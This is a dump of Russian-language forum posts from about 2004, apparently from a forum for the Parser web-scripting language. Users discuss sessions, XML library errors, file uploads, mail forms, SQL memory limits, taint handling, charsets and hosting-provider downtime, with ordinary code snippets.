   Windows с поддержкой этой технологии?\
[/quote]\
язык не очень типизирован, да.\
однако что-то придумать всегда можно.\
\
пока COM я в parser не встраивал, но думал об этом.\
думаю, я этого делать не буду.\
если у вас есть энтузиазм и нужные навыки, помогу в части встраивания это в мои исходники.\
\
причина: мы хотим, чтобы наши сайты могли работать на unix."
"26489","Я даже представления не имею что такое CVS. Нельзя ли сделать исключение и отправить по почте? Буду очень признателен."
"26490","Невижу SQL запроса"
"26491","Я так понял сессий в Parser'е НЕТ? Разработчик решил что куков будет достаточно? Ну в какой то степени согласен создаешь таблицу ID + Данные, кук точкает этот ID все супер.\
Ну а теперь вопросы:\
\
- у юзера Куки отключины?\
- как узнать что сессия законьчилась если не указан expire (истечение), т.е. сессия кончает когда закрывается броузер?\
\
Если кто сможет растолковать буду осинь БЛАГОДАРЕН :)"
"26492","@load[]\
^MAIN:dbconnect{\
   $price[^table::sql{select id, userid, name, categoryid, info, date, valid, cost1, cost2, img, storage, storage_date from price}]\
}"
"26493","Сессий в Парсере нет.\
Можно пользоваться сессиями Апача\
- у юзера Куки отключины?\
\
Можно попытаться открывать сессии на ip адреса.\
- как узнать что сессия законьчилась если не указан expire \
(истечение), т.е. сессия кончает когда закрывается броузер?\
Данным в куке можно сопоставить дату на сервере, и по мере повторных обращений проверять не просрочена ли дата."
"26494","http://www.parser.ru/docs/lang/tablesql.htm"
"26495","...Пользоваться PHP-сессиями с отключенными куками? ;-)\
\
Если кука протухла (закрыли браузер), то никто уже не придет с таким SessionID с данного ip-адреса. Ну пусть себе лежит протухшая сессия в базе или на диске еще 5/10/24/48/... часов. Бегает некий скрипт и проверяет, не устарела ли. Если устарела - убивает.\
\
И вообще, есть смысл посмотреть в [url=\"http://www.php.net/manual/ru/ref.session.php\"]доку по PHP[/url] на эту тему - очень хорошо видно (даже просто по списку используемых конфигурационных опций) как оно работает. Смотреть надо таблицу 1 и описание под ней."
"26496","и войдёт в 3.1.2 версию.\
\
http://cvsview.parser.ru/file.html?module=parser3&dir=&name=operators.txt"
"26497","http://www.egoroff.spb.ru/download/parser3/win32xml_libs.zip"
"26499","Есть файлы test.html и test.cgi.\
test.html черех форму отправляет два файла на сервер, а test.cgi получает файлы из формы и выводит их содержимое на экран.\
Проблема с том, что на одном сервере всё работает как надо, а на другом второй файл не выводиться и его длина равна нулю.\
Я брал размеры файлов по 5 байт.\
С чем это может быть связано?\
\
-------------------------------------------\
Файл test.html\
\
<html>\
\
<head>\
<meta http-equiv=\"Content-Type\" content=\"text/html; charset=koi8-r\" />\
</head>\
\
<body>\
\
<form enctype=\"multipart/form-data\" action=\"/cgi-bin/test.cgi\" method=\"post\">\
    Файл изображения 1: <input name=\"PictureFile1\" type=\"file\"><br>\
    Файл изображения 2: <input name=\"PictureFile2\" type=\"file\"><br>\
    <input type=\"submit\" value=\"Отослать\">\
</form>\
\
</body>\
\
</html>\
\
-------------------------------------------\
Файл test.cgi\
\
#!/usr/bin/perl\
use strict;\
use CGI qw/:standard/;\
use CGI::Carp('fatalsToBrowser');\
\
\
print header( -charset => 'koi8-r');\
\
my $PictureFile1 = CGI::param('PictureFile1');\
my $PictureFile2 = CGI::param('PictureFile2');\
    \
my $Picture1 = 0;\
my $Picture2 = 0;\
\
my $PictureSize1 = (stat($PictureFile1))[7];\
my $PictureSize2 = (stat($PictureFile2))[7];\
\
my $RealSize1 = read($PictureFile1,$Picture1,$PictureSize1);\
my $RealSize2 = read($PictureFile2,$Picture2,$PictureSize2);\
\
($RealSize1 == $PictureSize1) or print 'Error1<br>';\
($RealSize2 == $PictureSize2) or print 'Error2<br>';\
\
print \"RealSize1: \".$RealSize1.\"<br>\";\
print \"RealSize2: \".$RealSize2.\"<br>\";\
\
print \"PictureSize1: \".$PictureSize1.\"<br>\";\
print \"PictureSize2: \".$PictureSize2.\"<br>\";\
\
print \"PictureFile1: $PictureFile1<br>\";\
print \"PictureFile2: $PictureFile2<br>\";\
\
print \"Picture1: $Picture1<br><br>\";\
print \"Picture2: $Picture2<br><br>\";"
"26501","Парсер выдал ошибку: \
\"Точка входа в процедуру xmlLoadExtDtdDefaultValue не найдена в библиотеке DLL libxml2.dll.\" \
Библиотеки взял у Егорова, parser3.exe тоже."
"26502","1) perldoc cgi или [code]<IfModule mod_charset.c>\
	CharsetDisable On\
</IfModule>[/code] в htaccess\
2) Этот форум - не про Perl."
"26503","Скачайте с этого сайта все, и потом мои запишите поверх старых. Хотя надо, думаю, все в архив засунуть. Кроме того нужна msvcr71.dll"
"26504","1. Качал 3.1.1\
2. Качал у тебя 3.1.2 и заменял старый parser3.exe\
3. Качал библиотеки и записал поверх старых\
В итоге - вот."
"26506","exception in request exception handler: Exception 0xC00000FD at 0x10005162"
"26507","и где-то уже в парсерном коде есть ошибка, которая и приводит к такому"
"26508","WinRAR ругается, что архивы не найдены..."
"26509","Возможно ошибка уже исправлена? Если тебя, конечно, не затруднит."
"26510","только что сам проверил"
"26512","Может кто подскажет как это сделать?\
\
Нужно чтобы человек зайдя на мой сайт мог послать из формы прямо с сайта мне письмо не заходя в свой почтовик\
\
Сорри за глупый вопрос...\
\
Спасибо за помощь"
"26514","Обновил все библиотеки из этого архива -- эффекта никакого. А их вообще все надо в дирректорию парсера положить или в system32 что-то?"
"26517","Что не так?"
"26518","Этот форум предназначен, для обсуждения всего, что хоть как-то может быть связанно с Parser'ом. Вы хотели спросить, как это сделать на Parser'е? Почему-то сомневаюсь. \
А вообще специалист по \"интерсетевому маркетингу\", наверное, должен знать такие вещи."
"26519","Да, с логикой у меня все в порядке и читать я могу, и в адресной строке вижу слово parser, а значит вопрос был именно о парсере.\
\
Спасибо, что решили произвести на меня впечатление тот сайт на который вы зашли мной уже давно заброшен да и хостится он на народе :-) и сделан дедовским способом \
\
да и не работаю Я в этой компании уже :-) к томуже интернет коммерция не подразумевает знание какого либо языка программирования, но это совсем другая тема разговора!\
\
Сейчас у меня на 350mb.ru сайт хостится сделан полностью на парсере - опятьже для многих находящихся на этом форуме кустарным способом, сначала сделал его так а уже потом по мере обучения парсеру все лучше и лучше бедет.\
\
Меня интересует как организовать отправку письма гостем с сайта на мой почтовый ящик. \
\
если очень хочется увидеть мой новый сайт вот ссылка\
\
www.mynoni.ru\
\
Тем кто попробует взломать: сайт вообще никак не защищен кроме как самим хостером так что если вздумаете взломать, ломайте на ваше усмотрение токма потом напишите мне чего тама надо изменить для лучшей защиты...\
\
С уважением Роман"
"26520","http://www.parser.ru/docs/lang/?mailsend.htm"
"26521","т.к. ПАФ вчера там поправил несколько багов, - у меня и с предыдущей чудесно работало, и с теперешней."
"26523","Не на моем коде, работающем с XML/XSLT, новая версия просто безбожно глючит, возвращаешь на 3.1.1 всё нормально. Видать вы пользуете какие либо нестандартные штуки."
"26524","Заменяю собранный тобой parser3.exe на 3.1.1 выдает: \
Точка входа ен найдена\
... xmlDoValidityCheckingDefaultValue ... \
Наверное я использую что-то ЖУТКО НЕСТАНДАРТНОЕ. Блин, с этим что, только разработчики этих самых библиотек разобраться смогут?"
"26525","Заменяя на 3.1.1 надеюсь ты и XML библиотеки меняешь?"
"26526","Домал, свежие библиотеки с 3.1.1 работать должны. Щас снесу и заново 3.1.1 поставлю с \"родными\" библиотеками."
"26527","Если не меняешь конечно ошибка будет - в новых API поменян"
"26529","это давно ясно, парсер тут похоже ни при чем"
"26530","того как я создал xsl-шаблон для обработки rss. Всего 2 шаблона: \
1. mainpage.xsl\
2. rss_import.xsl\
rss_import.xsl подключается в mainpage.xsl с помощью xsl:import\
Шаблоны отправил почтой"
"26531","я шаблоны глядеть даже не буду - мне есть чем заняться"
"26532","Ты не представляешь, насколько они маленькие =)"
"26533","а ты не представляешь как плохо бывает когда работу не делаешь вовремя. Всё, дискуссию заканчиваю."
"26534","<xsl:template match=\"module/content\">\
 <xsl:apply-templates select=\".\" />\
</xsl:template>\
\
Вырезаешь их и все работает"
"26535","Мля вот ругаються , ругаються, а лучше бы показали парню как заделать...\
Кароче Рома....\
Лови код!\
\
$your email\
[code]\
#ТВОЙ МАЙЛ\
$your_email[roma@holacost]\
$if(!def $form:msg && $form:from){Невведено сообщение или отправитель}{\
^mail:send[\
      $.from[$your_email]\
      $.to[$your_email]\
      $.subject[Поступленно новое сообщение!]\
      $.text[$form:msg]\
]\
Спасибо! Ваше сообщение отправлено! \
}\
^show_form[]\
[/code]\
В ^show_form[] твоя форма....\
Где сообщение это поле msg , а отправитель это форма from...\
С тебя пиво :-)"
"26536","возможно имеет смысл проверить, какие узлы выбираются по match=\"module/content\", и какие правила к ним потом применяются (<xsl:apply-templates select=\".\" />).\
Скорее всего, проблема где-то глубже окопалась."
"26537","...есть люди \"добрые\", а есть \"добренькие\". хотя последние с первого взгляда \"выглядят\" приятнее, т.к. от них можно что-то получить, реальной пользы от них нет (есть только вред), т.к. они не дают людям стимула учиться.\
\
P.S. дико извиняюсь, но на основании приведенной ссылки в документацию через 30 мин можно написать тот код, который вы привели самому. только одна будет разница: \"понимание происходящего\""
"26538","собственно нужен CMS редактор. Подскажите какой-нибудь хорошенький и скажите откуда его скачать.  "
"26539","откликов в секунду"
"26540","и понимаю, что проблема где-то глубже. Но в xslt (XPath, DOM и пр.) я пока шарю очень слабо, если не сказать, что не шарю вообще. Поэтому найти где я накосячил, весьма проблематично. Но да бог с ним. Я заново начал писать шаблон и все вроде бы пока нормально. \
Конечно, всетаки хотелось бы знать в чем была проблема. Хочется Unhandled Exception и понятной строчки в логе Parser'а"
"26541","... которому не отвечают или посылают в доки, ну вы понимаете. Сам через это прошел и еще, наверное, ни раз пройду. Надо всего лишь понять, что если окружающие не отвечают на твой пост или просто кидают ссылку, то это значит, что либо ты поленился что-то прочитать, либо просто гонишь. И этот гон у тебя скоро пройдет. Сходишь в душ, перекусишь... и все поймешь. Въедешь. А потом думаешь, зачем я людей такой фигней отвлекал? А давать готовые решения - это действительно вред. Этого очень хочется, но получишь готовое решение, а потом, не осмыслив что же ты сделал, сядешь еще глубже."
"26542","Его надо сделать. Самому. Вы ведь сюда пришли, чтобы научиться это делать, правильно?"
"26543","С IP идея понравилась, но вопросик, как в парсере использовать сессии апача, и честно говоря можно ли об этих самих сессиях Апача, хотяб пару слов для информации..."
"26544","как делать НЕ надо:\
http://slyworks.net.ru/projects/sw.Card/\
Если я правильно понял, вы спрашивали об этом?\
\
P.S. Есть более новая версия, там новости в XML, но чуть-чуть не законченная. Если заинтересовало, пишите."
"26546","Прошу прощения за вопрос, но в данный момент мне это важно...\
\
Заказчик просит записать ему на диск весь сайт, сделаный с БД на Парсере, чтоб он мог поехать куда-то в глубинку и показать его там. Но ТАМ нет интернета.\
\
Как мне сделать так, чтоб он минимально страдал? Т.е. чтоб мог все показать, но с минимальными затратами... Без длительного обучения.\
\
Весь проект есть так-же у меня локально, т.е. на Денвере лежит и пашет.\
\
Поможите люди добрые!!!"
"26549","Сайт работал под этой версией и сегодня отказалась грузиться главная страница. Причем остальные грузились, но с большими задержками. В логе Парсер писал:\
[code]\
Out of pool memory\
Lost connection to MySQL server during query\
Premature end of script header\
[/code]\
Удалось все исправить только путем обновления Парсера до версии 3_1_1. \
\
В чем могла быть причина?"
"26550","Мог увеличиться объем выбираемых данных из БД. Также мог сократиться (по ошибке) объем памяти процесса.\
\
Интересно, а вы переехав на 3.1.1 стали пользоваться ^memory:compact[] для устранения проблемы? Если нет, то причина не в том, о чем выше написано, а в чем-то другом, т.к. сам по себе парсер 3.1.1 весит поболее чем 3.0.7"
"26552","Нет я не использую ^memory:compact[].\
Но ошибка повторилась и на парсере 3_1_1. Не могу понять в чем дело. При попытке загрузить страницу на которую выводится 820 строк текста (прайс) из базы - все рушится. Причем на той неделе строк было 750 и все работало."
"26553","вы просто ходили по краю. Попробуйте искуственно ограничить выборку до прежних 750 и если не упадет, то значит дело в этом. А вообще выводить на страницу 750 строк одновременно, жесточайшее извращение. Надо бы прокрутку пользовать."
"26554","При не настроенном MySQL Всё работает, кроме MySQL,\
При настроенном MySQL идёт ошибка\
\
Premature end of script headers: /home/webadmin/домен/cgi-bin/папка/parser3.cgi\
\
Настройки\
$confdir[^file:dirname[/home/webadmin/домен/cgi-bin/папка/ ]]\
mysql	$sqldriversdir/libparser3mysql.so	/usr/lib/mysql/libmysqlclient.so\
$SQL.connect-string[mysql://user:password@ip/db?charset=cp1251_koi8]\
Если последнюю строку закоментировать к виду\
\
#$SQL.connect-string[mysql://user:password@ip/db?charset=cp1251_koi8]\
Как я уже писал всё кроме MySQLя работает"
"26555","Там ПАФ карданально изменил работу со строками. А обхектов типа \"строка\" обычно в коде очень много :)\
\
Когда я тестировал по выигрыш без compact получался ~25-30%\
\
По сути вопроса: правильно вам говорят: вы ходили по грани. наверняка еще и SELECT * использовали. Оптимизируйте алгоритмы."
"26556","Времени чуток есть и тема разборки RSS интересует тоже...\
\
mail to ABugakov (собака) билайн (точка) ру"
"26557","Или на Flash USB drive"
"26558","Работает вот такой запрос и выбирает 815 строк (неужели для этого требуется много ресурсов):\
[code]\
^connect[$connect_string]{\
$товары[^table::sql{\
	SELECT\
		product.Name AS \"Name\",\
		company.Name AS \"Company\",\
		company.Sort,\
		subgroup.Name_One,\
		maingroup.Name AS \"Maingroup\",\
		company.ID,\
		subgroup.ID,\
		product.ID AS \"ProductID\",\
		product.Price\
	FROM\
		product,\
		company,\
		subgroup,\
		maingroup\
	WHERE\
		product.Subgroup = subgroup.ID AND\
		maingroup.ID = subgroup.Main_Group AND \
		company.ID = product.company\
	ORDER BY\
		Name_One, Sort, Company, Name\
	\
}]\
}\
[/code]"
"26559","Поищи по форуму помоему Павел Титов (если память не изменяет) пример выкладывал. Сам я не использовал сесси Апача так что помогать не буду, самому разбираться надо."
"26560","Абсолютно согласен со всеми Вами, но иногда в книге видишь только фигу и ничего с этим не можешь поделать :-( \
\
А надо то всего чтобы пинули в нужном направлении :-(\
\
тот код который мне дали ( огромное спасибо) я бы с удовольствием сам написал когда бы разобрался, но вот проблема то как раз в том что трудно понять в этом мануале чего к чему крепится..."
"26561","[code]\
	^feed.append{$form:id	$form:title	$form:local_file	$form:remote_file	$form:refresh}\
	^feed.save[rss.cfg]\
	\
		$src[^file::load[text;$form:remote_file]]\
		$xml[^xdoc::create{^untaint{$src.text}}]\
		^src.save[text;$form:local_file]\
[/code]\
\
в rss.cfg, вё добавляется как надо, а вот проблема с $form:remote_file : в парсер лог выводится ...does not start with http://, что это? конструктор load не считает $form:remote_file переменной? как же быть?"
"26562","- возьмите sql класс из примеров и посмотрите сколько памяти отжирает данные запрос. \
\
- посмотрите на метод run_time из lib.p и с его помощью попробуйте понять где у вас отжирается память\
\
\
по виду запроса нельзя сказать сколько он вернет резальтатов. \
\
product.Name каждой строки может содержать 5 символов, а может - 500, соответственно 5*700 = 3.5 КБ, 500*700 = 340 КБ. есть разница?\
а у вас сколько столбцов? а для чего например вы достаете company.Sort?\
\
далее наверняка работает ваше отформатированное menu которое опять-же пропивает байтики (все идет в вывод... правда перед самим выводом пробельные символы пооптимайзятся).\
\
едем дальше... посмотрите что у вас возвращается... это список продуктов. допустим у вас 10 уникальных групп продуктов, но название имен групп у вас присутствует 700 раз. может достанете отдельными запросами группы/подгруппы в хеш, а при выводе названия группы/подгруппы будете писать не $товар.Name_One, а $subgroup.[$товар.Subgroup].name? аналогично с Company, Maingroup & Co.\
\
далее, сам запрос ещё не все. вы ещё выводите результаты. посмотрите на результаты rusage. сравните результаты rusage для страницы на которой только запрос и на странице, где [b]этот-же[/b] запрос и ваш вывод данных. возможно узкое не в запросе (хотя что можно запросто сделать с запросом я написал чуть выше)\
\
в общем ищите..."
"26563","Подскажите, пожалуйста, как можно преобразовать следующую конструкцию:\
[code]\
[list type=\"ul\"]\
    list 1\
    list 2\
    list 3\
    ...\
[/list]\
[/code]\
\
в соответствующий HTML:\
[code]\
<ul>\
   <li>list 1</li>\
   <li>list 2</li>\
   <li>list 3</li>\
   <li>...</li>\
</ul>\
[/code]\
\
Возможно ли это релизовать с помощью рег. выражений, или придется матчить строку построчно?"
"26564","в лоб:\
[code]\
@match_items[tag;text;attr]\
^if(def $text){\
	<$tag^if(def $attr){ $attr}>^text.match[^^\\s*(.+)\\s*^$][gm]{<li>$match.1</li>}</$tag>\
}\
\
@main[]\
$str[^[list type=\"ul\"^]\
    list 1\
    list 2\
    list 3\
    ...\
^[/list^]\
^[list^]\
    list 1\
    list 2\
    list 3\
    ...\
^[/list^]]\
\
<pre>\
^taint[html][\
	^str.match[\\^[(list)(\\stype=\"(ul)\")?\\^](.+?)\\^[/\\1\\^]][gi]{^match_items[ul;$match.4;^if(def $match.3){class=\"$match.3\"}]}\
]\
</pre>\
[/code]"
"26567","У меня стоит последния версия английского apache. Redhat Linux 7.2, parser 3.11. На странице в meta у меня стоит meta http-equiv=\"Content-type\" content=\"text/html; charset=iso-8859-1\". Когда проверяешь страницу валидатором (http://validator.w3.org/) там пишут следующую ошибку: The character encoding specified in the HTTP header (windows-1251) is different from the value in the <meta> element (iso-8859-1). Как сделать так чтобы парсер был не windows-1251 а iso-8859-1?"
"26568","Здравствуйте!\
Есть страница авторизации - пользователь пишет имя пользователя и пароль.\
С этими данными пытаюсь приконнектиться к базе данных (MS SQL через ODBC) ^connect пишу внутри try..except.\
Если пароль - правильный, то все нормально.\
Если же пароль неверный получаю сообщение column not found.\
Без указаний типа ошибки, без заголовка \"unhandled exception\".\
То есть в браузере просто 3 слова. И все.\
\
Причем эта штука с авторизацией прекрасно работает на другом сервере.\
\
Не понятно..."
"26569","charset=windows-1251 и всех делов.\
сейчас любой браузер эту кодировку держит хоть текстовые LYNX, LINKS"
"26570","Есть мнение, что MySQL тормозит работу из-за большого объёма данных, хочу перекинуть базу на MsSQL(для сравнения), кто сталкивался, подскажите, как сгенерировать скрипт на базу в MySQL и что переделать подMsSQL"
"26571","У меня таблица, хранящая выкачанное по RSS за 3 месяца распухла до 12 мегабайт - если бы оно лежало не в базе, было бы худо..."
"26572","Объясните пожалуйста на примере. В документации не понятно."
"26573","У меня такое ощущение, что при отсутствыющем в системе русском языке пользователю предлжат вставить компакт..."
"26575","Было бы просто замечательно, если создатели данного форума добавили функцию генерации страницы для печати :). Думаю, было бы проще и удобнее сохранять и распечатывать интересные топики (без ненужных элементов вроде меню, блока поиска и т.д.)."
"26576","Исходники форума (как этого), вторая версия. Дополненная и переработанная.\
\
Подробности [url=\"http://yatsena.livejournal.com/127485.html?mode=reply\"]здесь[/url].\
\
P.S. если там чего-то не хватает — черкните в этом форуме."
"26577","$.iso-8859-1[$charsetsdir/windows-1250.cfg]\
\
ну и собственно изменить response:charset на добавленный"
"26578","Задача такая: как значение переменных kod_model, draw, doc из класса forma использовать в файле /main/auto.p?\
Или это не через глобальные переменные делается? :) (я только недавно изучаю Парсер и вообще Web-программирование)\
\
[code]\
@CLASS\
forma\
@load[]\
@show_forma[]\
^load[]\
<form name=\"myform\" action=\"/main/\">\
Что искать будем?<br>\
<input type=\"checkbox\" name=\"draw\">чертежи<br>\
<input type=\"checkbox\" name=\"doc\">документация<br>\
Код модели оборудования:\
<input name=\"kod_model\" type=text size=22>\
[/code]\
\
Файл /main/auto.p\
[code]\
@USE\
/classes/forma.p\
\
@draw[]\
$myform.kod_model\
\
@docs[]\
Здесь вывод списка документов\
[/code]\
\
И как в файле /main/index.html (или auto.p) сделать такое:\
^if(выбраны чертежи){^draw[]}\
^if(выбраны документы){^docs[]}\
?"
"26581","MS SQL медленнее на запросах выборки будет, нежели чем MySQL. Скорее всего у вас будет еще медленне после перехода."
"26582","если разговор идет про iso-8859-1 - то это не русская кодировка, русская: iso-8859-5\
\
P.S. сам юзаю iso-8859-1, немного знаю что это такое. но юзаю для других целей."
"26584","нафиг форумы печатать? бумагу зря изводить.. скоро и так весь лес вырубят."
"26585","А $parts[^str.split[/;hr]] так и не исправили?\
Все еще выдает \
exception in request exception handler: Exception 0xC0000005 at 0x0041C332"
"26586","почитайте в FAQ, как надо сообщать.\
\
к делу: в CVS|HEAD проблему не наблюдаю. \
если проблема у вас с HEAD версией, пришлите bug.html, если не лень."
"26588","мне кажется что полезно бывают следующие вещи:\
1. интересный тред. \
  - ссылку на корневое(?) сообщение в закладки (возможно в некоторых случаях удобнее чтобы тред открывался вместе с телами сообщений. этот вариант в стадии обдумывания. проблема в том, что в данном форуме тела сообщений бывают большими, и вываливать их разом по моему совсем [url=\"http://www.shokoladki.ru/forum/?id=315\"]не рулез[/url] )\
2. поиск чего-либо в форуме\
  - есть поиск по форуму\
  - есть отправка всех сообщений (без шапки и т.д., только текст) на email. т.е. получается локальная БД (в продвинутых почтовиках в виде дерева) с локальными поисками.\
  - teleport и получаем локальную html копию html форума (вот только тех, кто грабит в 10 потоков днем сразу вношу в Deny)\
\
но лично мне кажется, что лучше получать информацию онлайн (imho странички не перегружены элементаци интерфейса и кучи картинок тут нет...)"
"26589","Я все обыскал... не нашел."
"26590","это из серии - где находится клавиша any key? :) Сделайте маленький файл (bug.html) с парсерным кодом, воспроизводящий проблему и пошлите его ПАФу."
"26591","иначе письмо уйдёт в мусорку :("
"26592","вам сюда - http://www.danvine.com/icapture/"
"26595","перепробывал разные комбинации, например: [code]$src[^file::load[text;^taint[uri][$form:remote_file]]][/code], ничего не получается, когда пишешь например [code]\
$file[http://www.egr.ru/news/rss] \
$src[^file::load[text;$file]]\
[/code]\
,то все ясное дело работает\
\
а http:// , тоесть адрес фида, приходит из формы"
"26596","большое спасибо :-))"
"26597","Вот мне бы знать, как он выглядит в любом писишном браузере! ;-)))"
"26599","Надо еще покурить доку и примеры на тему taint/untaint.\
Пока они недокурены, значение из формы и не будет начинаться с http://"
"26600","Софтина - 912 свободнораспространяемых килобайт.\
Нужен, правда, MS-сервак с соответствующим софтом, но так у кого нет CD с Горбушки ;-)"
"26601","Но как только ставишь split[/;rh] или hr не важно... все падает"
"26602","я же сам ввожу адрес, но получается всё время does not start with http://"
"26603","Переехал мой домен http://www.opensea.tv на новый хостинг на днях :( Попадалово = 150%. У них даже собственный сайл лежит по 2 часа в день. А мой - 13 часов только за сегодня!!!\
\
По данным uptime.ru:\
\
Хост:  217.16.20.17 (masterhost.ru)  Провайдер:  Unknown \
IP адрес: 217.16.20.17 \
 Дата-центр:  Unknown \
Тестируется с 19 февраля 2004 года  HTTP-сервер: Unknown \
\
 \
Начало Конец Время простоя Тип ошибки \
19.02.04 07:53:59 19.02.04 09:49:58 1 час. 55 мин. 59 сек. Timeout \
19.02.04 07:17:50 19.02.04 07:22:59 5 мин. 9 сек. Timeout \
19.02.04 06:50:30 19.02.04 06:58:12 7 мин. 42 сек. Timeout \
19.02.04 06:28:03 19.02.04 06:34:16 6 мин. 13 сек. Timeout \
19.02.04 06:02:14 19.02.04 06:08:08 5 мин. 54 сек. Timeout \
19.02.04 05:41:52 19.02.04 05:41:55 3 сек. Timeout \
 \
DownTime: 2 час. 21 мин. 0 сек.\
UpTime: 98.601%\
===============\
\
Посоветуйте нормальный хостинг, а?\
\
Александр"
"26604","не сказать что про него [url=\"http://www.hostobzor.ru/opinion/op.php?pid=85\"]плохие отзывы[/url]\
\
судя по тексту на главной странице виновата DDoS-атака: \" Несмотря на продолжающуюся DDoS-атаку...\"\
\
в принципе от этого мало кто хорошо застрахован."
"26605","с правильным taint все работает."
"26606","Более 50% времени простой сервера - действительно, куда торопиться-то? :)\
\
На самом деле подобные атаки для любого провайдера не должны быть полнейшей неожиданностью начиная уже с лета 1941 года, имхо. Но это ещё пол беды: у них на хостинге множество самых разных ограничений нигде не отражённых в документации. Это: и память ограничена сверху 8-ю мегабайтами на самом дорогом тарифе, и скрипты разрешены только в одном каталоге, и MySQL поддерживает только 1251+КОИ8 (без юникода). И всё это очень жестко и изменению не подлежит. Такое ощущение, что им кто-то со стороны, совместитель раз в неделю приходящий, всё инсталлировал и ушёл. А из сёпорт только \"приветы\" и \"уважения\" присылает в ответ на просьбы и жалобы и ничего изменить не может :(\
\
Попадалово, в общем :((("
"26607","и как защититься от неё на 100% лично я не знаю :)\
полюбопытствуйте, как тот-же MS от таких атак защищается...\
\
\"в MySQL 1251+КОИ8\" - это как? вроде как одна кодировка может быть [b]на сервер[/b]... или у них пара sql серверов, и в зависимости от того, что хочет клиент они предлагают выбрать? а вы видели хостинги, где mysql подерживает unicode? по моему поддержка unicode в mysql есть только в версии 4.1... которая щас бета.\
\
8 MB - это конечно жестоко.\
то, что скрипты только в одной директории - так разве это очень плохо? лично мне никогда ничего иного и не требовалось, учитывая тот факт что в большинстве случаев у меня только один скрипт - парсер.\
\
вам кончено виднее, я с ними дел не имел (ну.. почти), поэтому судить не могу."
"26608","В вопросах атак я не специалист :) А в остальном... По сравнению с тем же нет.ру - как день и ночь. Имхо, разумеется..."
"26609","Вынужден с Вами не согласится.\
Я пользуюсь мастерхостом и вполне доволен. Никаких с ними серьезных не решаемых проблем не было.\
В Вашем посте ничего конкретного не увидел. Какие именно проблемы у Вас  возникли??? Одни эмоции!!\
Касательно тех.поддержки кардинально противоположного мнения. Помогают, отвечают быстро и грамотно.\
\
P.S. Очень похоже на антирекламу :))"
"26610","Разумеется антиреклама - а должно быть наоборот? Не по теме это данного форума, но уж раз спросили:\
\
1.  На самом дорогом , и надо понимать \"навороченном\", тарифном плане в принципе не встаёт система CMS EzPublish. При том, что она уже работает на сотнях других хостингах. На все вопросы сёпорт говорит \"нельзя!\". Это мне не понравилось.\
\
2.  Не видят падения даже собственного сайта - это не есть хорошо. Когда им пересылаешь логи с uptime.ru насчёт моего сайта - отвечают, что они его видят, т.е., имхо, пытаются держать клиента за лоха и врать. Это - опять не хорошо, имхо.\
\
3.  13 часов падения моего сайта в сутки - явный перебор. Мне провайдер, которого постояно атакуют и который ничего с этим поделать не может - не нравится в очередной раз. Имхо, разумеется - может кто от этого тащится - люди есть разные :)\
\
Итого: отстой, имхо в очередной раз :)"
"26611","Лежат опять...\
==================\
Система UpTime зафиксировала прекращение функционирования сервера.\
\
Хост: masterhost.ru\
Время: 19 Февраля (Четверг) 2004 г. 23:26:56\
Тип ошибки: Request Timeout\
\
---\
UpTime Support Team\
support@uptime.ru\
http://uptime.ru\
============\
\
Оно мне такое надо?"
"26612","использовать CMS EzPublish :))\
\
во-первых потому что эта штука написана не на парсере!\
во-вторых штука заграничная!\
в-третьих...\
\
А если серьезно, то очень даже может быть что в этой штуке есть дырочки или подозрения их наличия, и вполне правильно не позволять юзать такие штуки. \
\
Риски велики! Уйдете вы от мастерхоста и всё, а если вдруг какой товарищ наведет свой порядок на мастерхосте через ваш CMS EzPublish или еще какой нить(open source CMS), не отвечающий их понятиям о безопасности — от них уйдет 20 клиентов.\
\
Ощутите разницу 1 и 20 ?\
\
Потом Вы не ребенок и выяснить причину «Нельзя» в состоянии?\
\
Касательно зависания сайтов Вам уже говорили что это может быть Dos атака. В любом случае это всё крайне спорно и реально что-то проверить сложно.\
\
Используйте Parser и будет Вам радость :)))\
\
P.S. И много Вы провайдеров поменяли?"
"26613","и свои тоже вижу :))\
Стоит ли так упираться в uptime.ru?\
Вы уверены что лежит не сервер uptime.ru?\
странно..."
"26614","Вы не поняли: они не запрещают, у них она просто не работает. Точнее - даже не инсталлируется.\
\
А если у них любой клиент через собственные php файлы из вэб-пространства \"порядок\" наверсти может... Без комментариев :)\
\
> Потом Вы не ребенок и выяснить причину «Нельзя» в состоянии?\
\
Угу. Попробуйте. Ответ сёпорта на просьбу увеличить объём выделенной памяти с 8 до хотя бы 12 мегабайт: -\"Это не возможно\". Почувствуйте разницу между \"не желательно\" и \"не возможно\". Они признают, что этого просто не могут сами сделать! Им в контору явно нужен хотя бы один инженер, имхо :)\
\
> P.S. И много Вы провайдеров поменяли?\
\
Нет. Не много. В России, похоже, с нормальными провайдерами вообще тяжело - в процессе переговоров половина их них неделями не может дать ответ на простейшие вопросы, как то: \"Объём выделяемой на скрипты памыти\", \"время отведённое на выполнение скрипта\" и т.п. На всех контактных е-майлах сидят в основном сейлеры. А единственный инженер-совместитель ходит где-то между провайдерами и правит конфиги серверов. Только с ним никак не связаться :)"
"26615","Немного offtopic'a :)\
Представьте такую ситуацию: в базе мускла даты постингов лежат в стандартной форме DATETIME.\
Как реализовать выборку всех новостей за последние 2 дня, когда были публикации?\
Т.е. к примеру в месяце были публикации 5-го, 12-го и 21-го числа.\
У меня никак не получается составить запрос таким образом, чтобы он выбрал новости за 21-е и 12-е число.\
Легко узнать дату последнего постинга, а как узнать дату предпоследнего?\
(учитывая что в базе хранится еще и время, учитывать которое нам не надо).\
Простым select distinct date from news order by date desc limit 2\
мы получим что-то похожее на:\
2004-21-02 14:15:16\
2004-21-02 13:13:32\
\
а надо получить вот такое:\
2004-21-02 хх:хх:хх\
2004-12-02 хх:хх:хх\
\
Есть идеи?"
"26616","uptime.ru мониторит все мои сайты и ещё ни разу не ошибался. Другое дело, что сайт может лежать минуту...другую, а потом снова заработать.\
\
Ваш, кстати, вчера лежал почти 9 минут :)\
================\
Дата-центр:  .masterhost \
Тестируется с 1 июля 2003 года  HTTP-сервер: CoffeeMaker \
Начало Конец Время простоя Тип ошибки \
18.02.04 07:38:57 18.02.04 07:47:35 8 мин. 38 сек. Reset by peer \
================\
DownTime: 8 мин. 38 сек.\
UpTime: 99.967%\
\
А мой, который Вы только что видели, - \
\
Хост:  fe5.masterhost.ru (www.opensea.tv)  Провайдер:  .masterhost \
Дата-центр:  .masterhost \
Тестируется с 26 июня 2003 года  HTTP-сервер: CoffeeMaker \
\
Начало Конец Время простоя Тип ошибки \
19.02.04 21:13:59 19.02.04 21:21:06 7 мин. 7 сек. Timeout \
19.02.04 13:36:22 19.02.04 13:42:40 6 мин. 18 сек. Timeout \
19.02.04 12:38:21 19.02.04 12:44:02 5 мин. 41 сек. Timeout \
